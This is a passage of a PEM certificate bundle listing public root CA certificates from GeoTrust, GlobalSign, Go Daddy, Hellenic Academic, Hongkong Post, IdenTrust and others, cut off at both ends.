MBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEeMBwGA1UEAxMVR2VvVHJ1c3QgVW5pdmVy
c2FsIENBMB4XDTA0MDMwNDA1MDAwMFoXDTI5MDMwNDA1MDAwMFowRTELMAkGA1UE
BhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xHjAcBgNVBAMTFUdlb1RydXN0
IFVuaXZlcnNhbCBDQTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAKYV
VaCjxuAfjJ0hUNfBvitbtaSeodlyWL0AG0y/YckUHUWCq8YdgNY96xCcOq9tJPi8
cQGeBvV8Xx7BDlXKg5pZMK4ZyzBIle0iN430SppyZj6tlcDgFgDgEB8rMQ7XlFTT
QjOgNB0eRXbdT8oYN+yFFXoZCPzVx5zw8qkuEKmS5j1YPakWaDwvdSEYfyh3peFh
F7em6fgemdtzbvQKoiFs7tqqhZJmr/Z6a4LauiIINQ/PQvE1+mrufislzDoR5G2v
c7J2Ha3QsnhnGqQ5HFELZ1aD/ThdDc7d8Lsrlh/eezJS/R27tQahsiFepdaVaH/w
mZ7cRQg+59IJDTWU3YBOU5fXtQlEIGQWFwMCTFMNaN7VqnJNk22CDtucvc+081xd
VHppCZbW2xHBjXWotM85yM48vCR85mLK4b19p71XZQvk/iXttmkQ3CgaRr0BHdCX
teGYO8A3ZNY9lO4L4fUorgtWv3GLIylBjobFS1J72HGrH4oVpjuDWtdYAVHGTEHZ
f9hBZ3KiKN9gg6meyHv8U3NyWfWTehd2Ds735VzZC1U0oqpbtWpU5xPKV+yXbfRe
Bi9Fi1jUIxaS5BZuKGNZMN9QAZxjiRqf2xeUgnA3wySemkfWWspOqGmJch+RbNt+
nhutxx9z3SxPGWX9f5NAEC7S8O08ni4oPmkmM8V7AgMBAAGjYzBhMA8GA1UdEwEB
/wQFMAMBAf8wHQYDVR0OBBYEFNq7LqqwDLiIJlF0XG0D08DYj3rWMB8GA1UdIwQY
MBaAFNq7LqqwDLiIJlF0XG0D08DYj3rWMA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG
9w0BAQUFAAOCAgEAMXjmx7XfuJRAyXHEqDXsRh3ChfMoWIawC/yOsjmPRFWrZIRc
aanQmjg8+uUfNeVE44B5lGiku8SfPeE0zTBGi1QrlaXv9z+ZhP015s8xxtxqv6fX
IwjhmF7DWgh2qaavdy+3YL1ERmrvl/9zlcGO6JP7/TG37FcREUWbMPEaiDnBTzyn
ANXH/KttgCJwpQzgXQQpAvvLoJHRfNbDflDVnVi+QTjruXU8FdmbyUqDWcDaU/0z
uzYYm4UPFd3uLax2k7nZAY1IEKj79TiG8dsKxr2EoyNB3tZ3b4XUhRxQ4K5RirqN
Pnbiucon8l+f725ZDQbYKxek0nxru18UGkiPGkzns0ccjkxFKyDuSN/n3QmOGKja
QI2SJhFTYXNd673nxE0pN2HrrDktZy4W1vUAg4WhzH92xH3kt0tm7wNFYGm2DFKW
koRepqO1pD4r2czYG0eq8kTaT/kD6PAUyz/zg97QwVTjt+gKN02LIFkDMBmhLMi9
ER/frslKxfMnZmaGrGiR/9nmUxwPi1xpZQomyB40w11Re9epnAahNt3ViZS82eQt
DF4JbAiXfKM9fJP/P6EUp8+1Xevb2xzEdt+Iub1FBZUbrvxGakyvSOPOrg/Sfuvm
bJxPgWp6ZKy7PtXny3YuxadIwVyQD8vIP/rmMuGNG2+k5o7Y+SlIis5z/iw=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFbDCCA1SgAwIBAgIBATANBgkqhkiG9w0BAQUFADBHMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEgMB4GA1UEAxMXR2VvVHJ1c3QgVW5pdmVy
c2FsIENBIDIwHhcNMDQwMzA0MDUwMDAwWhcNMjkwMzA0MDUwMDAwWjBHMQswCQYD
VQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEgMB4GA1UEAxMXR2VvVHJ1
c3QgVW5pdmVyc2FsIENBIDIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoIC
AQCzVFLByT7y2dyxUxpZKeexw0Uo5dfR7cXFS6GqdHtXr0om/Nj1XqduGdt0DE81
WzILAePb63p3NeqqWuDW6KFXlPCQo3RWlEQwAx5cTiuFJnSCegx2oG9NzkEtoBUG
FF+3Qs17j1hhNNwqCPkuwwGmIkQcTAeC5lvO0Ep8BNMZcyfwqph/Lq9O64ceJHdq
XbboW0W63MOhBW9Wjo8QJqVJwy7XQYci4E+GymC16qFjwAGXEHm9ADwSbSsVsaxL
se4YuU6W3Nx2/zu+z18DwPw76L5GG//aQMJS9/7jOvdqdzXQ2o3rXhhqMcceujwb
KNZrVMaqW9eiLBsZzKIC9ptZvTdrhrVtgrrY6slWvKk2WP0+GfPtDCapkzj4T8Fd
IgbQl+rhrcZV4IErKIM6+vR7IVEAvlI4zs1meaj0gVbi0IMJR1FbUGrP20gaXT73
y/Zl92zxlfgCOzJWgjl6W70viRu/obTo/3+NjN8D8WBOWBFM66M/ECuDmgFz2ZRt
hAAnZqzwcEAJQpKtT5MNYQlRJNiS1QuUYbKHsu3/mjX/hVTK7URDrBs8FmtISgoc
QIgfksILAAX/8sgCSqSqqcyZlpwvWOB94b67B9xfBHJcMTTD7F8t4D1kkCLm0ey4
Lt1ZrtmhN79UNdxzMk+MBB4zsslG8dhcyFVQyWi9qLo2CQIDAQABo2MwYTAPBgNV
HRMBAf8EBTADAQH/MB0GA1UdDgQWBBR281Xh+qQ2+/CfXGJx7Tz0RzgQKzAfBgNV
HSMEGDAWgBR281Xh+qQ2+/CfXGJx7Tz0RzgQKzAOBgNVHQ8BAf8EBAMCAYYwDQYJ
KoZIhvcNAQEFBQADggIBAGbBxiPz2eAubl/oz66wsCVNK/g7WJtAJDday6sWSf+z
dXkzoS9tcBc0kf5nfo/sm+VegqlVHy/c1FEHEv6sFj4sNcZj/NwQ6w2jqtB8zNHQ
L1EuxBRa3ugZ4T7GzKQp5y6EqgYweHZUcyiYWTjgAA1i00J9IZ+uPTqM1fp3DRgr
Fg5fNuH8KrUwJM/gYwx7WBr+mbpCErGR9Hxo4sjoryzqyX6uuyo9DRXcNJW2GHSo
ag/HtPQTxORb7QrSpJdMKu0vbBKJPfEncKpqA1Ihn0CoZ1Dy81of398j9tx4TuaY
T1U6U+Pv8vSfx3zYWK8pIpe44L2RLrB27FcRz+8pRPPphXpgY+RdM4kX2TGq2tbz
GDVyz4crL2MjhF2EjD9XoIj8mZEoJmmZ1I+XRL6O1UixpCgp8RW04eWe3fiPpm8m
1wk8OhwRDqZsN/etRIcsKMfYdIKz0G9KV7s1KSegi+ghp4dkNl3M2Basx7InQJJV
OCiNUW7dFGdTbHFcJoRNdVq2fmBWqU2t+5sel/MN2dKXVHfaPRK34B7vCAas+YWH
6aLcr34YEoP9VhdBLtUpgn2Z9DH2canPLAEnpQW5qrJITirvn5NSUZU8UnOOVkwX
QMAJKOSLakhT2+zNVVXxxvjpoixMptEmX36vWkzaH6byHCx+rgIW0lbQL1dTR+iS
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIHSTCCBTGgAwIBAgIJAMnN0+nVfSPOMA0GCSqGSIb3DQEBBQUAMIGsMQswCQYD
VQQGEwJFVTFDMEEGA1UEBxM6TWFkcmlkIChzZWUgY3VycmVudCBhZGRyZXNzIGF0
IHd3dy5jYW1lcmZpcm1hLmNvbS9hZGRyZXNzKTESMBAGA1UEBRMJQTgyNzQzMjg3
MRswGQYDVQQKExJBQyBDYW1lcmZpcm1hIFMuQS4xJzAlBgNVBAMTHkdsb2JhbCBD
aGFtYmVyc2lnbiBSb290IC0gMjAwODAeFw0wODA4MDExMjMxNDBaFw0zODA3MzEx
MjMxNDBaMIGsMQswCQYDVQQGEwJFVTFDMEEGA1UEBxM6TWFkcmlkIChzZWUgY3Vy
cmVudCBhZGRyZXNzIGF0IHd3dy5jYW1lcmZpcm1hLmNvbS9hZGRyZXNzKTESMBAG
A1UEBRMJQTgyNzQzMjg3MRswGQYDVQQKExJBQyBDYW1lcmZpcm1hIFMuQS4xJzAl
BgNVBAMTHkdsb2JhbCBDaGFtYmVyc2lnbiBSb290IC0gMjAwODCCAiIwDQYJKoZI
hvcNAQEBBQADggIPADCCAgoCggIBAMDfVtPkOpt2RbQT2//BthmLN0EYlVJH6xed
KYiONWwGMi5HYvNJBL99RDaxccy9Wglz1dmFRP+RVyXfXjaOcNFccUMd2drvXNL7
G706tcuto8xEpw2uIRU/uXpbknXYpBI4iRmKt4DS4jJvVpyR1ogQC7N0ZJJ0YPP2
zxhPYLIj0Mc7zmFLmY/CDNBAspjcDahOo7kKrmCgrUVSY7pmvWjg+b4aqIG7HkF4
ddPB/gBVsIdU6CeQNR1MM62X/JcumIS/LMmjv9GYERTtY/jKmIhYF5ntRQOXfjyG
HoiMvvKRhI9lNNgATH23MRdaKXoKGCQwoze1eqkBfSbW+Q6OWfH9GzO1KTsXO0G2
Id3UwD2ln58fQ1DJu7xsepeY7s2MH/ucUa6LcL0nn3HAa6x9kGbo1106DbDVwo3V
yJ2dwW3Q0L9R5OP4wzg2rtandeavhENdk5IMagfeOx2YItaswTXbo6Al/3K1dh3e
beksZixShNBFks4c5eUzHdwHU1SjqoI7mjcv3N2gZOnm3b2u/GSFHTynyQbehP9r
6GsaPMWis0L7iwk+XwhSx2LE1AVxv8Rk5Pihg+g+EpuoHtQ2TS9x9o0o9oOpE9Jh
wZG7SMA0j0GMS0zbaRL/UJScIINZc+18ofLx/d33SdNDWKBWY8o9PeU1VlnpDsog
zCtLkykPAgMBAAGjggFqMIIBZjASBgNVHRMBAf8ECDAGAQH/AgEMMB0GA1UdDgQW
BBS5CcqcHtvTbDprru1U8VuTBjUuXjCB4QYDVR0jBIHZMIHWgBS5CcqcHtvTbDpr
ru1U8VuTBjUuXqGBsqSBrzCBrDELMAkGA1UEBhMCRVUxQzBBBgNVBAcTOk1hZHJp
ZCAoc2VlIGN1cnJlbnQgYWRkcmVzcyBhdCB3d3cuY2FtZXJmaXJtYS5jb20vYWRk
cmVzcykxEjAQBgNVBAUTCUE4Mjc0MzI4NzEbMBkGA1UEChMSQUMgQ2FtZXJmaXJt
YSBTLkEuMScwJQYDVQQDEx5HbG9iYWwgQ2hhbWJlcnNpZ24gUm9vdCAtIDIwMDiC
CQDJzdPp1X0jzjAOBgNVHQ8BAf8EBAMCAQYwPQYDVR0gBDYwNDAyBgRVHSAAMCow
KAYIKwYBBQUHAgEWHGh0dHA6Ly9wb2xpY3kuY2FtZXJmaXJtYS5jb20wDQYJKoZI
hvcNAQEFBQADggIBAICIf3DekijZBZRG/5BXqfEv3xoNa/p8DhxJJHkn2EaqbylZ
UohwEurdPfWbU1Rv4WCiqAm57OtZfMY18dwY6fFn5a+6ReAJ3spED8IXDneRRXoz
X1+WLGiLwUePmJs9wOzL9dWCkoQ10b42OFZyMVtHLaoXpGNR6woBrX/sdZ7LoR/x
fxKxueRkf2fWIyr0uDldmOghp+G9PUIadJpwr2hsUF1Jz//7Dl3mLEfXgTpZALVz
a2Mg9jFFCDkO9HB+QHBaP9BrQql0PSgvAm11cpUJjUhjxsYjV5KTXjXBjfkK9yyd
Yhz2rXzdpjEetrHHfoUm+qRqtdpjMNHvkzeyZi99Bffnt0uYlDXA2TopwZ2yUDMd
SqlapskD7+3056huirRXhOukP9DuqqqHW2Pok+JrqNS4cnhrG+055F3Lm6qH1U9O
AP7Zap88MQ8oAgF9mOinsKJknnn4SPIVqczmyETrP3iZ8ntxPjzxmKfFGBI/5rso
M0LpRQp8bfKGeS/Fghl9CYl8slR2iK7ewfPM4W7bMdaTrpmg7yVqc5iJWzouE4ge
v8CSlDQb4ye3ix5vQv/n6TebUB0tovkC7stYWDpxvGjjqsGvHCgfotwjZT+B6q6Z
09gwzxMNTxXJhLynSC34MCN32EZLeW32jO06f2ARePTpm67VVMB0gNELQp/B
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIB4TCCAYegAwIBAgIRKjikHJYKBN5CsiilC+g0mAIwCgYIKoZIzj0EAwIwUDEk
MCIGA1UECxMbR2xvYmFsU2lnbiBFQ0MgUm9vdCBDQSAtIFI0MRMwEQYDVQQKEwpH
bG9iYWxTaWduMRMwEQYDVQQDEwpHbG9iYWxTaWduMB4XDTEyMTExMzAwMDAwMFoX
DTM4MDExOTAzMTQwN1owUDEkMCIGA1UECxMbR2xvYmFsU2lnbiBFQ0MgUm9vdCBD
QSAtIFI0MRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQDEwpHbG9iYWxTaWdu
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEuMZ5049sJQ6fLjkZHAOkrprlOQcJ
FspjsbmG+IpXwVfOQvpzofdlQv8ewQCybnMO/8ch5RikqtlxP6jUuc6MHaNCMEAw
DgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFFSwe61F
uOJAf/sKbvu+M8k8o4TVMAoGCCqGSM49BAMCA0gAMEUCIQDckqGgE6bPA7DmxCGX
kPoUVy0D7O48027KqGx2vKLeuwIgJ6iFJzWbVsaj8kfSt24bAgAXqmemFZHe+pTs
ewv4n4Q=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIICHjCCAaSgAwIBAgIRYFlJ4CYuu1X5CneKcflK2GwwCgYIKoZIzj0EAwMwUDEk
MCIGA1UECxMbR2xvYmFsU2lnbiBFQ0MgUm9vdCBDQSAtIFI1MRMwEQYDVQQKEwpH
bG9iYWxTaWduMRMwEQYDVQQDEwpHbG9iYWxTaWduMB4XDTEyMTExMzAwMDAwMFoX
DTM4MDExOTAzMTQwN1owUDEkMCIGA1UECxMbR2xvYmFsU2lnbiBFQ0MgUm9vdCBD
QSAtIFI1MRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQDEwpHbG9iYWxTaWdu
MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAER0UOlvt9Xb/pOdEh+J8LttV7HpI6SFkc
8GIxLcB6KP4ap1yztsyX50XUWPrRd21DosCHZTQKH3rd6zwzocWdTaRvQZU4f8ke
hOvRnkmSh5SHDDqFSmafnVmTTZdhBoZKo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYD
VR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUPeYpSJvqB8ohREom3m7e0oPQn1kwCgYI
KoZIzj0EAwMDaAAwZQIxAOVpEslu28YxuglB4Zf4+/2a4n0Sye18ZNPLBSWLVtmg
515dTguDnFt2KaAJJiFqYgIwcdK1j1zqO+F4CYWodZI7yFz9SO8NdCKoCOJuxUnO
xwy8p2Fp8fc74SrL+SvzZpA3
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDujCCAqKgAwIBAgILBAAAAAABD4Ym5g0wDQYJKoZIhvcNAQEFBQAwTDEgMB4G
A1UECxMXR2xvYmFsU2lnbiBSb290IENBIC0gUjIxEzARBgNVBAoTCkdsb2JhbFNp
Z24xEzARBgNVBAMTCkdsb2JhbFNpZ24wHhcNMDYxMjE1MDgwMDAwWhcNMjExMjE1
MDgwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxTaWduIFJvb3QgQ0EgLSBSMjETMBEG
A1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2lnbjCCASIwDQYJKoZI
hvcNAQEBBQADggEPADCCAQoCggEBAKbPJA6+Lm8omUVCxKs+IVSbC9N/hHD6ErPL
v4dfxn+G07IwXNb9rfF73OX4YJYJkhD10FPe+3t+c4isUoh7SqbKSaZeqKeMWhG8
eoLrvozps6yWJQeXSpkqBy+0Hne/ig+1AnwblrjFuTosvNYSuetZfeLQBoZfXklq
tTleiDTsvHgMCJiEbKjNS7SgfQx5TfC4LcshytVsW33hoCmEofnTlEnLJGKRILzd
C9XZzPnqJworc5HGnRusyMvo4KD0L5CLTfuwNhv2GXqF4G3yYROIXJ/gkwpRl4pa
zq+r1feqCapgvdzZX99yqWATXgAByUr6P6TqBwMhAo6CygPCm48CAwEAAaOBnDCB
mTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUm+IH
V2ccHsBqBt5ZtJot39wZhi4wNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2NybC5n
bG9iYWxzaWduLm5ldC9yb290LXIyLmNybDAfBgNVHSMEGDAWgBSb4gdXZxwewGoG
3lm0mi3f3BmGLjANBgkqhkiG9w0BAQUFAAOCAQEAmYFThxxol4aR7OBKuEQLq4Gs
J0/WwbgcQ3izDJr86iw8bmEbTUsp9Z8FHSbBuOmDAGJFtqkIk7mpM0sYmsL4h4hO
291xNBrBVNpGP+DTKqttVCL1OmLNIG+6KYnX3ZHu01yiPqFbQfXf5WRDLenVOavS
ot+3i9DAgBkcRcAtjOj4LaR0VknFBbVPFd5uRHg5h6h+u/N5GJG79G+dwfCMNYxd
AfvDbbnvRG15RjF+Cv6pgsH/76tuIMRQyV+dTZsXjAzlAcmgQWpzU/qlULRuJQ/7
TBj0/VLZjmmx6BEP3ojY+x1J96relc8geMJgEtslQIxq/H5COEBkEveegeGTLg==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDXzCCAkegAwIBAgILBAAAAAABIVhTCKIwDQYJKoZIhvcNAQELBQAwTDEgMB4G
A1UECxMXR2xvYmFsU2lnbiBSb290IENBIC0gUjMxEzARBgNVBAoTCkdsb2JhbFNp
Z24xEzARBgNVBAMTCkdsb2JhbFNpZ24wHhcNMDkwMzE4MTAwMDAwWhcNMjkwMzE4
MTAwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxTaWduIFJvb3QgQ0EgLSBSMzETMBEG
A1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2lnbjCCASIwDQYJKoZI
hvcNAQEBBQADggEPADCCAQoCggEBAMwldpB5BngiFvXAg7aEyiie/QV2EcWtiHL8
RgJDx7KKnQRfJMsuS+FggkbhUqsMgUdwbN1k0ev1LKMPgj0MK66X17YUhhB5uzsT
gHeMCOFJ0mpiLx9e+pZo34knlTifBtc+ycsmWQ1z3rDI6SYOgxXG71uL0gRgykmm
KPZpO/bLyCiR5Z2KYVc3rHQU3HTgOu5yLy6c+9C7v/U9AOEGM+iCK65TpjoWc4zd
QQ4gOsC0p6Hpsk+QLjJg6VfLuQSSaGjlOCZgdbKfd/+RFO+uIEn8rUAVSNECMWEZ
XriX7613t2Saer9fwRPvm2L7DWzgVGkWqQPabumDk3F2xmmFghcCAwEAAaNCMEAw
DgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFI/wS3+o
LkUkrk1Q+mOai97i3Ru8MA0GCSqGSIb3DQEBCwUAA4IBAQBLQNvAUKr+yAzv95ZU
RUm7lgAJQayzE4aGKAczymvmdLm6AC2upArT9fHxD4q/c2dKg8dEe3jgr25sbwMp
jjM5RcOO5LlXbKr8EpbsU8Yt5CRsuZRj+9xTaGdWPoO4zzUhw8lo/s7awlOqzJCK
6fBdRoyV3XpYKBovHd7NADdBj+1EbddTKJd+82cEHhXXipa0095MJ6RMG3NzdvQX
mcIfeg7jLQitChws/zyrVQ4PkX4268NXSb7hLi18YIvDQVETI53O9zJrlAGomecs
Mx86OyXShkDOOyyGeMlhLxS67ttVb9+E7gUJTb0o2HLO02JQZR7rkpeDMdmztcpH
WD9f
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDxTCCAq2gAwIBAgIBADANBgkqhkiG9w0BAQsFADCBgzELMAkGA1UEBhMCVVMx
EDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxGjAYBgNVBAoT
EUdvRGFkZHkuY29tLCBJbmMuMTEwLwYDVQQDEyhHbyBEYWRkeSBSb290IENlcnRp
ZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5MDkwMTAwMDAwMFoXDTM3MTIzMTIz
NTk1OVowgYMxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6b25hMRMwEQYDVQQH
EwpTY290dHNkYWxlMRowGAYDVQQKExFHb0RhZGR5LmNvbSwgSW5jLjExMC8GA1UE
AxMoR28gRGFkZHkgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIw
DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAL9xYgjx+lk09xvJGKP3gElY6SKD
E6bFIEMBO4Tx5oVJnyfq9oQbTqC023CYxzIBsQU+B07u9PpPL1kwIuerGVZr4oAH
/PMWdYA5UXvl+TW2dE6pjYIT5LY/qQOD+qK+ihVqf94Lw7YZFAXK6sOoBJQ7Rnwy
DfMAZiLIjWltNowRGLfTshxgtDj6AozO091GB94KPutdfMh8+7ArU6SSYmlRJQVh
GkSBjCypQ5Yj36w6gZoOKcUcqeldHraenjAKOc7xiID7S13MMuyFYkMlNAJWJwGR
tDtwKj9useiciAF9n9T521NtYJ2/LOdYq7hfRvzOxBsDPAnrSTFcaUaz4EcCAwEA
AaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYE
FDqahQcQZyi27/a9BUFuIMGU2g/eMA0GCSqGSIb3DQEBCwUAA4IBAQCZ21151fmX
WWcDYfF+OwYxdS2hII5PZYe096acvNjpL9DbWu7PdIxztDhC2gV7+AJ1uP2lsdeu
9tfeE8tTEH6KRtGX+rcuKxGrkLAngPnon1rpN5+r5N9ss4UXnT3ZJE95kTXWXwTr
gIOrmgIttRD02JDHBHNA7XIloKmf7J6raBKZV8aPEjoJpL1E/QYVN8Gb5DKj7Tjo
2GTzLH4U/ALqn83/B2gX2yKQOC16jdFU8WnjXzPKej17CuPKf1855eJ1usV2GDPO
LPAvTK33sefOT6jEm0pUBsV/fdUID+Ic/n4XuKxe9tQWskMJDE32p2u0mYRlynqI
4uJEvlz36hz1
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEMTCCAxmgAwIBAgIBADANBgkqhkiG9w0BAQUFADCBlTELMAkGA1UEBhMCR1Ix
RDBCBgNVBAoTO0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1
dGlvbnMgQ2VydC4gQXV0aG9yaXR5MUAwPgYDVQQDEzdIZWxsZW5pYyBBY2FkZW1p
YyBhbmQgUmVzZWFyY2ggSW5zdGl0dXRpb25zIFJvb3RDQSAyMDExMB4XDTExMTIw
NjEzNDk1MloXDTMxMTIwMTEzNDk1MlowgZUxCzAJBgNVBAYTAkdSMUQwQgYDVQQK
EztIZWxsZW5pYyBBY2FkZW1pYyBhbmQgUmVzZWFyY2ggSW5zdGl0dXRpb25zIENl
cnQuIEF1dGhvcml0eTFAMD4GA1UEAxM3SGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJl
c2VhcmNoIEluc3RpdHV0aW9ucyBSb290Q0EgMjAxMTCCASIwDQYJKoZIhvcNAQEB
BQADggEPADCCAQoCggEBAKlTAOMupvaO+mDYLZU++CwqVE7NuYRhlFhPjz2L5EPz
dYmNUeTDN9KKiE15HrcS3UN4SoqS5tdI1Q+kOilENbgH9mgdVc04UfCMJDGFr4PJ
fel3r+0ae50X+bOdOFAPplp5kYCvN66m0zH7tSYJnTxa71HFK9+WXesyHgLacEns
bgzImjeN9/E2YEsmLIKe0HjzDQ9jpFEw4fkrJxIH2Oq9GGKYsFk3fb7u8yBRQlqD
75O6aRXxYp2fmTmCobd0LovUxQt7L/DICto9eQqakxylKHJzkUOap9FNhYS5qXSP
FEDH3N6sQWRstBmbAmNtJGSPRLIl6s5ddAxjMlyNh+UCAwEAAaOBiTCBhjAPBgNV
HRMBAf8EBTADAQH/MAsGA1UdDwQEAwIBBjAdBgNVHQ4EFgQUppFC/RNhSiOeCKQp
5dgTBCPuQSUwRwYDVR0eBEAwPqA8MAWCAy5ncjAFggMuZXUwBoIELmVkdTAGggQu
b3JnMAWBAy5ncjAFgQMuZXUwBoEELmVkdTAGgQQub3JnMA0GCSqGSIb3DQEBBQUA
A4IBAQAf73lB4XtuP7KMhjdCSk4cNx6NZrokgclPEg8hwAOXhiVtXdMiKahsog2p
6z0GW5k6x8zDmjR/qw7IThzh+uTczQ2+vyT+bOdrwg3IBp5OjWEopmr95fZi6hg8
TqBTnbI6nOulnJEWtk2C4AwFSKls9cz4y51JtPACpf1wA+2KIaWuE4ZJwzNzvoc7
dIsXRSZMFpGD/md9zU1jZ/rzAxKWeAaNsWftjj++n08C9bMJL/NMh98qy5V8Acys
Nnq/onN694/BtZqhFLKPM58N7yLcZnuEvUUXBj08yrl3NI/K6s8/MT7jiOOASSXI
l7WdmplNsDz4SgCbZN2fOUvRJ9e4
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDMDCCAhigAwIBAgICA+gwDQYJKoZIhvcNAQEFBQAwRzELMAkGA1UEBhMCSEsx
FjAUBgNVBAoTDUhvbmdrb25nIFBvc3QxIDAeBgNVBAMTF0hvbmdrb25nIFBvc3Qg
Um9vdCBDQSAxMB4XDTAzMDUxNTA1MTMxNFoXDTIzMDUxNTA0NTIyOVowRzELMAkG
A1UEBhMCSEsxFjAUBgNVBAoTDUhvbmdrb25nIFBvc3QxIDAeBgNVBAMTF0hvbmdr
b25nIFBvc3QgUm9vdCBDQSAxMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEArP84tulmAknjorThkPlAj3n54r15/gK97iSSHSL22oVyaf7XPwnU3ZG1ApzQ
jVrhVcNQhrkpJsLj2aDxaQMoIIBFIi1WpztUlVYiWR8o3x8gPW2iNr4joLFutbEn
PzlTCeqrauh0ssJlXI6/fMN4hM2eFvz1Lk8gKgifd/PFHsSaUmYeSF7jEAaPIpjh
ZY4bXSNmO7ilMlHIhqqhqZ5/dpTCpmy3QfDVyAY45tQM4vM7TG1QjMSDJ8EThFk9
nnV0ttgCXjqQesBCNnLsak3c78QA3xMYV18meMjWCnl3v/evt3a5pQuEF10Q6m/h
q5URX208o1xNg1vysxmKgIsLhwIDAQABoyYwJDASBgNVHRMBAf8ECDAGAQH/AgED
MA4GA1UdDwEB/wQEAwIBxjANBgkqhkiG9w0BAQUFAAOCAQEADkbVPK7ih9legYsC
mEEIjEy82tvuJxuC52pF7BaLT4Wg87JwvVqWuspube5Gi27nKi6Wsxkz67SfqLI3
7piol7Yutmcn1KZJ/RyTZXaeQi/cImyaT/JaFTmxcdcrUehtHJjA2Sr0oYJ71clB
oiMBdDhViw+5LmeiIAQ32pwL0xch4I+XeTRvhEgCIDMb5jREn5Fw9IBehEPCKdJs
EhTkYY2sEJCehFC78JZvRZ+K88psT/oROhUVRsPNH4NbLUES7VBnQRM9IauUiqpO
fMGx+6fWtScvl6tu4B3i0RwsH0Ti/L6RoZz71ilTc4afU9hDDl3WY4JxHYB0yvbi
AmvZWg==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFYDCCA0igAwIBAgIQCgFCgAAAAUUjyES1AAAAAjANBgkqhkiG9w0BAQsFADBK
MQswCQYDVQQGEwJVUzESMBAGA1UEChMJSWRlblRydXN0MScwJQYDVQQDEx5JZGVu
VHJ1c3QgQ29tbWVyY2lhbCBSb290IENBIDEwHhcNMTQwMTE2MTgxMjIzWhcNMzQw
MTE2MTgxMjIzWjBKMQswCQYDVQQGEwJVUzESMBAGA1UEChMJSWRlblRydXN0MScw
JQYDVQQDEx5JZGVuVHJ1c3QgQ29tbWVyY2lhbCBSb290IENBIDEwggIiMA0GCSqG
SIb3DQEBAQUAA4ICDwAwggIKAoICAQCnUBneP5k91DNG8W9RYYKyqU+PZ4ldhNlT
3Qwo2dfw/66VQ3KZ+bVdfIrBQuExUHTRgQ18zZshq0PirK1ehm7zCYofWjK9ouuU
+ehcCuz/mNKvcbO0U59Oh++SvL3sTzIwiEsXXlfEU8L2ApeN2WIrvyQfYo3fw7gp
S0l4PJNgiCL8mdo2yMKi1CxUAGc1bnO/AljwpN3lsKImesrgNqUZFvX9t++uP0D1
bVoE/c40yiTcdCMbXTMTEl3EASX2MN0CXZ/g1Ue9tOsbobtJSdifWwLziuQkkORi
T0/Br4sOdBeo0XKIanoBScy0RnnGF7HamB4HWfp1IYVl3ZBWzvurpWCdxJ35UrCL
vYf5jysjCiN2O/cz4ckA82n5S6LgTrx+kzmEB/dEcH7+B1rlsazRGMzyNeVJSQjK
Vsk9+w8YfYs7wRPCTY/JTw436R+hDmrfYi7LNQZReSzIJTj0+kuniVyc0uMNOYZK
dHzVWYfCP04MXFL0PfdSgvHqo6z9STQaKPNBiDoT7uje/5kdX7rL6B7yuVBgwDHT
c+XvvqDtMwt0viAgxGds8AgDelWAf0ZOlqf0Hj7h9tgJ4TNkK2PXMl6f+cB7D3hv
l7yTmvmcEpB4eoCHFddydJxVdHixuuFucAS6T6C6aMN7/zHwcz09lCqxC0EOoP5N
iGVreTO01wIDAQABo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB
/zAdBgNVHQ4EFgQU7UQZwNPwBovupHu+QucmVMiONnYwDQYJKoZIhvcNAQELBQAD
ggIBAA2ukDL2pkt8RHYZYR4nKM1eVO8lvOMIkPkp165oCOGUAFjvLi5+U1KMtlwH
6oi6mYtQlNeCgN9hCQCTrQ0U5s7B8jeUeLBfnLOic7iPBZM4zY0+sLj7wM+x8uwt
